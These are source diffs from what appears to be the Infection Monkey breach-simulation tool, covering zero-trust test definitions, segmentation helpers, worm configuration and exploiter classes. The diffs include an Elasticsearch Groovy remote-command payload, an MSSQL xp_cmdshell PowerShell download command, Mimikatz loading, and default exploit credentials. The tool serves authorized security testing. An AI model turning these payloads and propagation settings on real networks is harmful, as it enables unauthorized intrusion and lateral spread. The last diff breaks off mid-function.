STATUS_UNEXECUTED = u"Unexecuted"
STATUS_PASSED = u"Passed"
STATUS_VERIFY = u"Verify"
STATUS_FAILED = u"Failed"
# Don't change order! The statuses are ordered by importance/severity.
ORDERED_TEST_STATUSES = [STATUS_FAILED, STATUS_VERIFY, STATUS_PASSED, STATUS_UNEXECUTED]
TEST_DATA_ENDPOINT_ELASTIC = u"unencrypted_data_endpoint_elastic"
TEST_DATA_ENDPOINT_HTTP = u"unencrypted_data_endpoint_http"
TEST_MACHINE_EXPLOITED = u"machine_exploited"
TEST_ENDPOINT_SECURITY_EXISTS = u"endpoint_security_exists"
TEST_SCHEDULED_EXECUTION = u"scheduled_execution"
TEST_MALICIOUS_ACTIVITY_TIMELINE = u"malicious_activity_timeline"
TEST_SEGMENTATION = u"segmentation"
TEST_TUNNELING = u"tunneling"
TEST_COMMUNICATE_AS_NEW_USER = u"communicate_as_new_user"
TESTS = (
TEST_SEGMENTATION,
TEST_MALICIOUS_ACTIVITY_TIMELINE,
TEST_SCHEDULED_EXECUTION,
TEST_ENDPOINT_SECURITY_EXISTS,
TEST_MACHINE_EXPLOITED,
TEST_DATA_ENDPOINT_HTTP,
TEST_DATA_ENDPOINT_ELASTIC,
TEST_TUNNELING,
TEST_COMMUNICATE_AS_NEW_USER
)
PRINCIPLE_DATA_TRANSIT = u"data_transit"
PRINCIPLE_ENDPOINT_SECURITY = u"endpoint_security"
PRINCIPLE_USER_BEHAVIOUR = u"user_behaviour"
PRINCIPLE_ANALYZE_NETWORK_TRAFFIC = u"analyze_network_traffic"
PRINCIPLE_SEGMENTATION = u"segmentation"
PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES = u"network_policies"
PRINCIPLE_USERS_MAC_POLICIES = u"users_mac_policies"
PRINCIPLES = {
PRINCIPLE_SEGMENTATION: u"Apply segmentation and micro-segmentation inside your network.",
PRINCIPLE_ANALYZE_NETWORK_TRAFFIC: u"Analyze network traffic for malicious activity.",
PRINCIPLE_USER_BEHAVIOUR: u"Adopt security user behavior analytics.",
PRINCIPLE_ENDPOINT_SECURITY: u"Use anti-virus and other traditional endpoint security solutions.",
PRINCIPLE_DATA_TRANSIT: u"Secure data at transit by encrypting it.",
PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES: u"Configure network policies to be as restrictive as possible.",
PRINCIPLE_USERS_MAC_POLICIES: u"Users' permissions to the network and to resources should be MAC (Mandetory "
u"Access Control) only.",
}
POSSIBLE_STATUSES_KEY = u"possible_statuses"
PILLARS_KEY = u"pillars"
PRINCIPLE_KEY = u"principle_key"
FINDING_EXPLANATION_BY_STATUS_KEY = u"finding_explanation"
TEST_EXPLANATION_KEY = u"explanation"
TESTS_MAP = {
TEST_SEGMENTATION: {
TEST_EXPLANATION_KEY: u"The Monkey tried to scan and find machines that it can communicate with from the machine it's running on, that belong to different network segments.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and logs.",
STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs."
},
PRINCIPLE_KEY: PRINCIPLE_SEGMENTATION,
PILLARS_KEY: [NETWORKS],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED]
},
TEST_MALICIOUS_ACTIVITY_TIMELINE: {
TEST_EXPLANATION_KEY: u"The Monkeys in the network performed malicious-looking actions, like scanning and attempting exploitation.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and alerts."
},
PRINCIPLE_KEY: PRINCIPLE_ANALYZE_NETWORK_TRAFFIC,
PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY]
},
TEST_ENDPOINT_SECURITY_EXISTS: {
TEST_EXPLANATION_KEY: u"The Monkey checked if there is an active process of an endpoint security software.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus software on endpoints.",
STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a security concern."
},
PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
PILLARS_KEY: [DEVICES],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
},
TEST_MACHINE_EXPLOITED: {
TEST_EXPLANATION_KEY: u"The Monkey tries to exploit machines in order to breach them and propagate in the network.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see which endpoints were compromised.",
STATUS_PASSED: "Monkey didn't manage to exploit an endpoint."
},
PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
PILLARS_KEY: [DEVICES],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_VERIFY]
},
TEST_SCHEDULED_EXECUTION: {
TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security software.",
STATUS_PASSED: "Monkey failed to execute in a scheduled manner."
},
PRINCIPLE_KEY: PRINCIPLE_USER_BEHAVIOUR,
PILLARS_KEY: [PEOPLE, NETWORKS],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY]
},
TEST_DATA_ENDPOINT_ELASTIC: {
TEST_EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to ElasticSearch instances.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.",
STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts that indicate attempts to access them."
},
PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT,
PILLARS_KEY: [DATA],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
},
TEST_DATA_ENDPOINT_HTTP: {
TEST_EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to HTTP servers.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.",
STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate attempts to access them."
},
PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT,
PILLARS_KEY: [DATA],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
},
TEST_TUNNELING: {
TEST_EXPLANATION_KEY: u"The Monkey tried to tunnel traffic using other monkeys.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - restrict them."
},
PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES,
PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED]
},
TEST_COMMUNICATE_AS_NEW_USER: {
TEST_EXPLANATION_KEY: u"The Monkey tried to create a new user and communicate with the internet from it.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - restrict them to MAC only.",
STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network."
},
PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES,
PILLARS_KEY: [PEOPLE, NETWORKS, VISIBILITY_ANALYTICS],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
},
}
EVENT_TYPE_MONKEY_NETWORK = "monkey_network"
EVENT_TYPE_MONKEY_LOCAL = "monkey_local"
EVENT_TYPES = (EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_MONKEY_NETWORK)
PILLARS_TO_TESTS = {
DATA: [],
PEOPLE: [],
NETWORKS: [],
DEVICES: [],
WORKLOADS: [],
VISIBILITY_ANALYTICS: [],
AUTOMATION_ORCHESTRATION: []
}
PRINCIPLES_TO_TESTS = {}
PRINCIPLES_TO_PILLARS = {}
def populate_mappings():
populate_pillars_to_tests()
populate_principles_to_tests()
populate_principles_to_pillars()
def populate_pillars_to_tests():
for pillar in PILLARS:
for test, test_info in TESTS_MAP.items():
if pillar in test_info[PILLARS_KEY]:
PILLARS_TO_TESTS[pillar].append(test)
def populate_principles_to_tests():
for single_principle in PRINCIPLES:
PRINCIPLES_TO_TESTS[single_principle] = []
for test, test_info in TESTS_MAP.items():
PRINCIPLES_TO_TESTS[test_info[PRINCIPLE_KEY]].append(test)
def populate_principles_to_pillars():
for principle, principle_tests in PRINCIPLES_TO_TESTS.items():
principles_pillars = set()
for test in principle_tests:
for pillar in TESTS_MAP[test][PILLARS_KEY]:
principles_pillars.add(pillar)
PRINCIPLES_TO_PILLARS[principle] = principles_pillars

View File

@ -0,0 +1,23 @@
def get_ip_in_src_and_not_in_dst(ip_addresses, source_subnet, target_subnet):
"""
Finds an IP address in ip_addresses which is in source_subnet but not in target_subnet.
:param ip_addresses: List[str]: List of IP addresses to test.
:param source_subnet: NetworkRange: Subnet to want an IP to not be in.
:param target_subnet: NetworkRange: Subnet we want an IP to be in.
:return: The cross segment IP if in source but not in target, else None. Union[str, None]
"""
if get_ip_if_in_subnet(ip_addresses, target_subnet) is not None:
return None
return get_ip_if_in_subnet(ip_addresses, source_subnet)
def get_ip_if_in_subnet(ip_addresses, subnet):
"""
:param ip_addresses: IP address list.
:param subnet: Subnet to check if one of ip_addresses is in there. This is common.network.network_range.NetworkRange
:return: The first IP in ip_addresses which is in the subnet if there is one, otherwise returns None.
"""
for ip_address in ip_addresses:
if subnet.is_in_range(ip_address):
return ip_address
return None

View File

@ -0,0 +1,30 @@
from common.network.network_range import *
from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
class TestSegmentationUtils(IslandTestCase):
def test_get_ip_in_src_and_not_in_dst(self):
self.fail_if_not_testing_env()
source = CidrRange("1.1.1.0/24")
target = CidrRange("2.2.2.0/24")
# IP not in both
self.assertIsNone(get_ip_in_src_and_not_in_dst(
[text_type("3.3.3.3"), text_type("4.4.4.4")], source, target
))
# IP not in source, in target
self.assertIsNone(get_ip_in_src_and_not_in_dst(
[text_type("2.2.2.2")], source, target
))
# IP in source, not in target
self.assertIsNotNone(get_ip_in_src_and_not_in_dst(
[text_type("8.8.8.8"), text_type("1.1.1.1")], source, target
))
# IP in both subnets
self.assertIsNone(get_ip_in_src_and_not_in_dst(
[text_type("8.8.8.8"), text_type("1.1.1.1")], source, source
))

View File

@ -8,3 +8,29 @@ class ScanStatus(Enum):
SCANNED = 1
# Technique was attempted and succeeded
USED = 2
class UsageEnum(Enum):
SMB = {ScanStatus.USED.value: "SMB exploiter ran the monkey by creating a service via MS-SCMR.",
ScanStatus.SCANNED.value: "SMB exploiter failed to run the monkey by creating a service via MS-SCMR."}
MIMIKATZ = {ScanStatus.USED.value: "Windows module loader was used to load Mimikatz DLL.",
ScanStatus.SCANNED.value: "Monkey tried to load Mimikatz DLL, but failed."}
MIMIKATZ_WINAPI = {ScanStatus.USED.value: "WinAPI was called to load mimikatz.",
ScanStatus.SCANNED.value: "Monkey tried to call WinAPI to load mimikatz."}
DROPPER = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."}
SINGLETON_WINAPI = {ScanStatus.USED.value: "WinAPI was called to acquire system singleton for monkey's process.",
ScanStatus.SCANNED.value: "WinAPI call to acquire system singleton"
" for monkey process wasn't successful."}
DROPPER_WINAPI = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."}
# Dict that describes what BITS job was used for
BITS_UPLOAD_STRING = "BITS job was used to upload monkey to a remote system."
def format_time(time):
return "%s-%s %s:%s:%s" % (time.date().month,
time.date().day,
time.time().hour,
time.time().minute,
time.time().second)

View File

@ -0,0 +1,10 @@
# abstract, static method decorator
class abstractstatic(staticmethod):
__slots__ = ()
def __init__(self, function):
super(abstractstatic, self).__init__(function)
function.__isabstractmethod__ = True
__isabstractmethod__ = True

View File

@ -1 +1 @@
pyinstaller -F --log-level=DEBUG --clean --upx-dir=.\bin monkey.spec
pyinstaller -F --log-level=DEBUG --clean --upx-dir=.\bin monkey.spec

View File

@ -1,3 +1,4 @@
import hashlib
import os
import json
import sys
@ -13,14 +14,15 @@ GUID = str(uuid.getnode())
EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin')
SENSITIVE_FIELDS = ["exploit_password_list", "exploit_user_list"]
HIDDEN_FIELD_REPLACEMENT_CONTENT = "hidden"
class Configuration(object):
def from_kv(self, formatted_data):
# now we won't work at <2.7 for sure
network_import = importlib.import_module('infection_monkey.network')
exploit_import = importlib.import_module('infection_monkey.exploit')
post_breach_import = importlib.import_module('infection_monkey.post_breach')
unknown_items = []
for key, value in formatted_data.items():
@ -37,9 +39,6 @@ class Configuration(object):
elif key == 'exploiter_classes':
class_objects = [getattr(exploit_import, val) for val in value]
setattr(self, key, class_objects)
elif key == 'post_breach_actions':
class_objects = [getattr(post_breach_import, val) for val in value]
setattr(self, key, class_objects)
else:
if hasattr(self, key):
setattr(self, key, value)
@ -57,6 +56,12 @@ class Configuration(object):
result = self.from_kv(formatted_data)
return result
@staticmethod
def hide_sensitive_info(config_dict):
for field in SENSITIVE_FIELDS:
config_dict[field] = HIDDEN_FIELD_REPLACEMENT_CONTENT
return config_dict
def as_dict(self):
result = {}
for key in dir(Configuration):
@ -104,8 +109,8 @@ class Configuration(object):
dropper_set_date = True
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
dropper_date_reference_path_linux = '/bin/sh'
dropper_target_path_win_32 = r"C:\Windows\monkey32.exe"
dropper_target_path_win_64 = r"C:\Windows\monkey64.exe"
dropper_target_path_win_32 = r"C:\Windows\temp\monkey32.exe"
dropper_target_path_win_64 = r"C:\Windows\temp\monkey64.exe"
dropper_target_path_linux = '/tmp/monkey'
###########################
@ -136,10 +141,10 @@ class Configuration(object):
exploiter_classes = []
# how many victims to look for in a single scan iteration
victims_max_find = 30
victims_max_find = 100
# how many victims to exploit before stopping
victims_max_exploit = 7
victims_max_exploit = 15
# depth of propagation
depth = 2
@ -161,9 +166,8 @@ class Configuration(object):
keep_tunnel_open_time = 60
# Monkey files directories
monkey_dir_linux = '/tmp/monkey_dir'
monkey_dir_windows = r'C:\Windows\Temp\monkey_dir'
# Monkey files directory name
monkey_dir_name = 'monkey_dir'
###########################
# scanners config
@ -179,7 +183,7 @@ class Configuration(object):
# TCP Scanner
HTTP_PORTS = [80, 8080, 443,
8008, # HTTP alternate
8008, # HTTP alternate
7001 # Oracle Weblogic default server port
]
tcp_target_ports = [22,
@ -195,7 +199,7 @@ class Configuration(object):
9200]
tcp_target_ports.extend(HTTP_PORTS)
tcp_scan_timeout = 3000 # 3000 Milliseconds
tcp_scan_interval = 0
tcp_scan_interval = 0 # in milliseconds
tcp_scan_get_banner = True
# Ping Scanner
@ -205,15 +209,13 @@ class Configuration(object):
# exploiters config
###########################
should_exploit = True
skip_exploit_if_file_exist = False
ms08_067_exploit_attempts = 5
user_to_add = "Monkey_IUSER_SUPPORT"
remote_user_pass = "Password1!"
# rdp exploiter
rdp_use_vbs_download = True
# User and password dictionaries for exploits.
def get_exploit_user_password_pairs(self):
@ -276,5 +278,17 @@ class Configuration(object):
PBA_linux_filename = None
PBA_windows_filename = None
@staticmethod
def hash_sensitive_data(sensitive_data):
"""
Hash sensitive data (e.g. passwords). Used so the log won't contain sensitive data plain-text, as the log is
saved on client machines plain-text.
:param sensitive_data: the data to hash.
:return: the hashed data.
"""
password_hashed = hashlib.sha512(sensitive_data).hexdigest()
return password_hashed
WormConfiguration = Configuration()

View File

@ -20,6 +20,12 @@ requests.packages.urllib3.disable_warnings()
LOG = logging.getLogger(__name__)
DOWNLOAD_CHUNK = 1024
PBA_FILE_DOWNLOAD = "https://%s/api/pba/download/%s"
# random number greater than 5,
# to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere.
TIMEOUT_IN_SECONDS = 15
class ControlClient(object):
proxies = {}
@ -73,7 +79,7 @@ class ControlClient(object):
requests.get("https://%s/api?action=is-up" % (server,),
verify=False,
proxies=ControlClient.proxies,
timeout=TIMEOUT)
timeout=TIMEOUT_IN_SECONDS)
WormConfiguration.current_server = current_server
break
@ -117,11 +123,12 @@ class ControlClient(object):
return {}
@staticmethod
def send_telemetry(telem_type, data):
def send_telemetry(telem_category, data):
if not WormConfiguration.current_server:
LOG.error("Trying to send %s telemetry before current server is established, aborting." % telem_category)
return
try:
telemetry = {'monkey_guid': GUID, 'telem_type': telem_type, 'data': data}
telemetry = {'monkey_guid': GUID, 'telem_category': telem_category, 'data': data}
reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,),
data=json.dumps(telemetry),
headers={'content-type': 'application/json'},
@ -162,7 +169,8 @@ class ControlClient(object):
try:
unknown_variables = WormConfiguration.from_kv(reply.json().get('config'))
LOG.info("New configuration was loaded from server: %r" % (WormConfiguration.as_dict(),))
LOG.info("New configuration was loaded from server: %r" %
(WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()),))
except Exception as exc:
# we don't continue with default conf here because it might be dangerous
LOG.error("Error parsing JSON reply from control server %s (%s): %s",
@ -303,3 +311,13 @@ class ControlClient(object):
target_addr, target_port = None, None
return tunnel.MonkeyTunnel(proxy_class, target_addr=target_addr, target_port=target_port)
@staticmethod
def get_pba_file(filename):
try:
return requests.get(PBA_FILE_DOWNLOAD %
(WormConfiguration.current_server, filename),
verify=False,
proxies=ControlClient.proxies)
except requests.exceptions.RequestException:
return False

View File

@ -11,9 +11,11 @@ from ctypes import c_char_p
import filecmp
from infection_monkey.config import WormConfiguration
from infection_monkey.exploit.tools import build_monkey_commandline_explicitly
from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly
from infection_monkey.model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
from infection_monkey.system_info import SystemInfoCollector, OperatingSystem
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
from common.utils.attack_utils import ScanStatus, UsageEnum
if "win32" == sys.platform:
from win32process import DETACHED_PROCESS
@ -51,7 +53,6 @@ class MonkeyDrops(object):
LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config))
def start(self):
if self._config['destination_path'] is None:
LOG.error("No destination path specified")
return False
@ -157,5 +158,6 @@ class MonkeyDrops(object):
else:
LOG.debug("Dropper source file '%s' is marked for deletion on next boot",
self._config['source_path'])
T1106Telem(ScanStatus.USED, UsageEnum.DROPPER_WINAPI).send()
except AttributeError:
LOG.error("Invalid configuration options. Failing")

View File

@ -1,4 +1,5 @@
{
"should_exploit": true,
"command_servers": [
"192.0.2.0:5000"
],
@ -24,13 +25,11 @@
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
"dropper_log_path_linux": "/tmp/user-1562",
"dropper_set_date": true,
"dropper_target_path_win_32": "C:\\Windows\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\monkey64.exe",
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
"dropper_target_path_linux": "/tmp/monkey",
monkey_dir_linux = '/tmp/monkey_dir',
monkey_dir_windows = r'C:\Windows\Temp\monkey_dir',
"monkey_dir_name": "monkey_dir",
"kill_file_path_linux": "/var/run/monkey.not",
"kill_file_path_windows": "%windir%\\monkey.not",
@ -44,7 +43,8 @@
"SambaCryExploiter",
"Struts2Exploiter",
"WebLogicExploiter",
"HadoopExploiter"
"HadoopExploiter",
"VSFTPDExploiter"
],
"finger_classes": [
"SSHFinger",
@ -63,7 +63,6 @@
"user_to_add": "Monkey_IUSER_SUPPORT",
"remote_user_pass": "Password1!",
"ping_scan_timeout": 10000,
"rdp_use_vbs_download": true,
"smb_download_timeout": 300,
"smb_service_name": "InfectionMonkey",
"retry_failed_explotation": true,
@ -98,8 +97,8 @@
],
"timeout_between_iterations": 10,
"use_file_logging": true,
"victims_max_exploit": 7,
"victims_max_find": 30,
"victims_max_exploit": 15,
"victims_max_find": 100,
"post_breach_actions" : []
custom_PBA_linux_cmd = ""
custom_PBA_windows_cmd = ""

View File

@ -1,6 +1,7 @@
from abc import ABCMeta, abstractmethod
from abc import ABCMeta, abstractmethod, abstractproperty
import infection_monkey.config
from common.utils.exploit_enum import ExploitType
from datetime import datetime
__author__ = 'itamar'
@ -13,35 +14,72 @@ class HostExploiter(object):
# Usual values are 'vulnerability' or 'brute_force'
EXPLOIT_TYPE = ExploitType.VULNERABILITY
@abstractproperty
def _EXPLOITED_SERVICE(self):
pass
def __init__(self, host):
self._config = infection_monkey.config.WormConfiguration
self._exploit_info = {}
self._exploit_attempts = []
self.exploit_info = {'display_name': self._EXPLOITED_SERVICE,
'started': '',
'finished': '',
'vulnerable_urls': [],
'vulnerable_ports': [],
'executed_cmds': []}
self.exploit_attempts = []
self.host = host
def set_start_time(self):
self.exploit_info['started'] = datetime.now().isoformat()
def set_finish_time(self):
self.exploit_info['finished'] = datetime.now().isoformat()
def is_os_supported(self):
return self.host.os.get('type') in self._TARGET_OS_TYPE
def send_exploit_telemetry(self, result):
from infection_monkey.control import ControlClient
ControlClient.send_telemetry(
'exploit',
{'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__,
'info': self._exploit_info, 'attempts': self._exploit_attempts})
from infection_monkey.telemetry.exploit_telem import ExploitTelem
ExploitTelem(self, result).send()
def report_login_attempt(self, result, user, password='', lm_hash='', ntlm_hash='', ssh_key=''):
self._exploit_attempts.append({'result': result, 'user': user, 'password': password,
self.exploit_attempts.append({'result': result, 'user': user, 'password': password,
'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key})
@abstractmethod
def exploit_host(self):
self.pre_exploit()
result = self._exploit_host()
self.post_exploit()
return result
def pre_exploit(self):
self.set_start_time()
def post_exploit(self):
self.set_finish_time()
@abstractmethod
def _exploit_host(self):
raise NotImplementedError()
def add_vuln_url(self, url):
self.exploit_info['vulnerable_urls'].append(url)
def add_vuln_port(self, port):
self.exploit_info['vulnerable_ports'].append(port)
def add_executed_cmd(self, cmd):
"""
Appends command to exploiter's info.
:param cmd: String of executed command. e.g. 'echo Example'
"""
powershell = True if "powershell" in cmd.lower() else False
self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell})
from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
from infection_monkey.exploit.wmiexec import WmiExploiter
from infection_monkey.exploit.smbexec import SmbExploiter
from infection_monkey.exploit.rdpgrinder import RdpExploiter
from infection_monkey.exploit.sshexec import SSHExploiter
from infection_monkey.exploit.shellshock import ShellShockExploiter
from infection_monkey.exploit.sambacry import SambaCryExploiter
@ -50,3 +88,4 @@ from infection_monkey.exploit.struts2 import Struts2Exploiter
from infection_monkey.exploit.weblogic import WebLogicExploiter
from infection_monkey.exploit.hadoop import HadoopExploiter
from infection_monkey.exploit.mssqlexec import MSSQLExploiter
from infection_monkey.exploit.vsftpd import VSFTPDExploiter

View File

@ -8,9 +8,12 @@ import json
import logging
import requests
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
DOWNLOAD_TIMEOUT
from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE
from infection_monkey.network.elasticfinger import ES_PORT
from common.data.network_consts import ES_SERVICE
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
import re
@ -27,6 +30,7 @@ class ElasticGroovyExploiter(WebRCE):
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Elastic search'
def __init__(self, host):
super(ElasticGroovyExploiter, self).__init__(host)
@ -35,7 +39,7 @@ class ElasticGroovyExploiter(WebRCE):
exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config()
exploit_config['dropper'] = True
exploit_config['url_extensions'] = ['_search?pretty']
exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX+" "+RDP_CMDLINE_HTTP}
exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX +" " + BITSADMIN_CMDLINE_HTTP}
return exploit_config
def get_open_service_ports(self, port_list, names):
@ -58,6 +62,12 @@ class ElasticGroovyExploiter(WebRCE):
return False
return result[0]
def upload_monkey(self, url, commands=None):
result = super(ElasticGroovyExploiter, self).upload_monkey(url, commands)
if 'windows' in self.host.os['type'] and result:
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
return result
def get_results(self, response):
"""
Extracts the result data from our attack

View File

@ -11,7 +11,8 @@ import logging
import posixpath
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth
from infection_monkey.model import MONKEY_ARG, ID_STRING, HADOOP_WINDOWS_COMMAND, HADOOP_LINUX_COMMAND
__author__ = 'VakarisZ'
@ -21,6 +22,7 @@ LOG = logging.getLogger(__name__)
class HadoopExploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Hadoop'
HADOOP_PORTS = [["8088", False]]
# How long we have our http server open for downloads in seconds
DOWNLOAD_TIMEOUT = 60
@ -30,7 +32,7 @@ class HadoopExploiter(WebRCE):
def __init__(self, host):
super(HadoopExploiter, self).__init__(host)
def exploit_host(self):
def _exploit_host(self):
# Try to get exploitable url
urls = self.build_potential_urls(self.HADOOP_PORTS)
self.add_vulnerable_urls(urls, True)
@ -48,6 +50,7 @@ class HadoopExploiter(WebRCE):
return False
http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop()
self.add_executed_cmd(command)
return True
def exploit(self, url, command):

View File

@ -1,106 +1,170 @@
import os
import logging
import os
import sys
from time import sleep
import pymssql
from infection_monkey.exploit import HostExploiter, mssqlexec_utils
from common.utils.exploit_enum import ExploitType
__author__ = 'Maor Rayzin'
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer
from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, build_monkey_commandline, get_monkey_depth
from infection_monkey.model import DROPPER_ARG
from infection_monkey.utils.monkey_dir import get_monkey_dir_path
from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError
LOG = logging.getLogger(__name__)
class MSSQLExploiter(HostExploiter):
_EXPLOITED_SERVICE = 'MSSQL'
_TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
LOGIN_TIMEOUT = 15
# Time in seconds to wait between MSSQL queries.
QUERY_BUFFER = 0.5
SQL_DEFAULT_TCP_PORT = '1433'
DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'~PLD123.bat')
DEFAULT_PAYLOAD_PATH_LINUX = '~PLD123.bat'
# Temporary file that saves commands for monkey's download and execution.
TMP_FILE_NAME = 'tmp_monkey.bat'
TMP_DIR_PATH = "%temp%\\tmp_monkey_dir"
MAX_XP_CMDSHELL_COMMAND_SIZE = 128
XP_CMDSHELL_COMMAND_START = "xp_cmdshell \""
XP_CMDSHELL_COMMAND_END = "\""
EXPLOIT_COMMAND_PREFIX = "<nul set /p="
EXPLOIT_COMMAND_SUFFIX = ">>{payload_file_path}"
CREATE_COMMAND_SUFFIX = ">{payload_file_path}"
MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \
"DownloadFile(^\'{http_path}^\' , ^\'{dst_path}^\')"
def __init__(self, host):
super(MSSQLExploiter, self).__init__(host)
self.attacks_list = [mssqlexec_utils.CmdShellAttack]
self.cursor = None
self.monkey_server = None
self.payload_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME)
def create_payload_file(self, payload_path):
def _exploit_host(self):
"""
This function creates dynamically the payload file to be transported and ran on the exploited machine.
:param payload_path: A path to the create the payload file in
:return: True if the payload file was created and false otherwise.
First this method brute forces to get the mssql connection (cursor).
Also, don't forget to start_monkey_server() before self.upload_monkey() and self.stop_monkey_server() after
"""
try:
with open(payload_path, 'w+') as payload_file:
payload_file.write('dir C:\\')
return True
except Exception as e:
LOG.error("Payload file couldn't be created", exc_info=True)
return False
def exploit_host(self):
"""
Main function of the mssql brute force
Return:
True or False depends on process success
"""
# Brute force to get connection
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list)
payload_path = MSSQLExploiter.DEFAULT_PAYLOAD_PATH_LINUX if 'linux' in self.host.os['type'] \
